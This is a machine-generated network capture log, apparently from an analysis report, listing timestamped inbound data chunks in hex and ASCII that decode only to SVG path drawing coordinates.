2e 32 39 2e 39 33 Data Ascii: </path><path class="cls-4" d="M864.31,285.45a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M864.54,292.28a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93
2023-05-31 12:51:55 UTC	1826	IN	Data Raw: 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 33 2e 37 39 2c 32 30 34 2e 34 36 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 34 2c 32 31 31 2e 32 38 61 31 2e 37 2c 31 2e 37 2c Data Ascii: 0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M833.79,204.46a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M834,211.28a1.7,1.7,
2023-05-31 12:51:55 UTC	1842	IN	Data Raw: 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 33 2e 32 37 2c 31 32 33 2e 34 36 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 Data Ascii: 0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><path class="cls-4" d="M803.27,123.46a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M8
2023-05-31 12:51:55 UTC	1858	IN	Data Raw: 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 36 2e 31 35 2c 32 33 33 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 9.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M786.15,233.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"></path><path
2023-05-31 12:51:55 UTC	1874	IN	Data Raw: 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 32 2c 32 36 37 2e 33 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 31 2e 37 31 2c 32 35 39 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e Data Ascii: h class="cls-7" d="M522,267.3a1.91,1.91,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M521.71,259.58a1.91,1.91,0,0,1-.86,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.
2023-05-31 12:51:55 UTC	1890	IN	Data Raw: 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 34 31 2e 35 38 2c 31 35 30 2e 37 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: 2.66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M541.58,150.76a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path c
2023-05-31 12:51:55 UTC	1906	IN	Data Raw: 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 35 39 2c 32 35 37 2e 37 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 33 33 2c 32 35 30 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 Data Ascii: 8,3.17"></path><path class="cls-7" d="M576.59,257.72a1.91,1.91,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M576.33,250a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1
2023-05-31 12:51:55 UTC	1922	IN	Data Raw: 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 36 2e 32 2c 31 34 31 2e 31 38 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 Data Ascii: 1,2.69,2.69,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M596.2,141.18a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path
2023-05-31 12:51:55 UTC	1938	IN	Data Raw: 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2e 32 31 2c 32 34 38 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2c 32 34 30 2e 34 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c Data Ascii: lass="cls-7" d="M631.21,248.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"></path><path class="cls-7" d="M631,240.43a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.67,2.67,0,0,
2023-05-31 12:51:55 UTC	1954	IN	Data Raw: 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 35 30 2e 38 31 2c 31 33 31 2e 36 31 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: .05,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M650.81,131.61a1.92,1.92,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.34,2.34,0,0,1,.18,3.17"></path><path c
2023-05-31 12:51:55 UTC	1970	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 38 33 2c 32 33 38 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 35 37 2c 32 33 30 2e 38 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e Data Ascii: <path class="cls-7" d="M685.83,238.58a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M685.57,230.86a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.
2023-05-31 12:51:55 UTC	1986	IN	Data Raw: 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 30 35 2e 34 33 2c 31 32 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: .66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class="cls-7" d="M705.43,122a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class
2023-05-31 12:51:55 UTC	2002	IN	Data Raw: 34 30 2e 34 35 2c 32 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 34 30 2e 31 39 2c 32 32 31 2e 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e Data Ascii: 40.45,229a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M740.19,221.29a1.92,1.92,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.
2023-05-31 12:51:55 UTC	2018	IN	Data Raw: 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 30 2e 30 35 2c 31 31 32 2e 34 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 35 39 2e 37 39 2c 31 30 34 Data Ascii: 2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M760.05,112.46a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M759.79,104
2023-05-31 12:51:55 UTC	2034	IN	Data Raw: 4d 36 36 31 2e 31 36 2c 33 38 31 2e 31 33 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 36 31 2e 32 33 2c 33 37 32 2e 34 35 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e Data Ascii: M661.16,381.13a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M661.23,372.45a2.16,2.16,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.
2023-05-31 12:51:55 UTC	2050	IN	Data Raw: 32 33 33 2e 38 31 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 39 2c 32 32 35 2e 31 33 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e Data Ascii: 233.81a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M689,225.13a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,0,1,3.
2023-05-31 12:51:55 UTC	2066	IN	Data Raw: 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2e 34 33 2c 33 32 30 2e 39 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 34 2c 32 2e 36 34 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 Data Ascii: -4.13-1.35,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path class="cls-9" d="M723.43,320.92a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.64,2.64,0,0,1,0,3.57"></path><path clas
2023-05-31 12:51:55 UTC	2082	IN	Data Raw: 2c 30 2c 30 2c 31 2c 33 2e 36 31 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 38 36 2c 34 31 36 2e 37 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 39 33 2c 34 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 Data Ascii: ,0,0,1,3.61.2,2.66,2.66,0,0,1,0,3.58"></path><path class="cls-9" d="M757.86,416.72a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"></path><path class="cls-9" d="M757.93,408a2.15,2.15,0,0
2023-05-31 12:51:55 UTC	2098	IN	Data Raw: 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 36 32 2c 32 36 39 2e 33 39 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 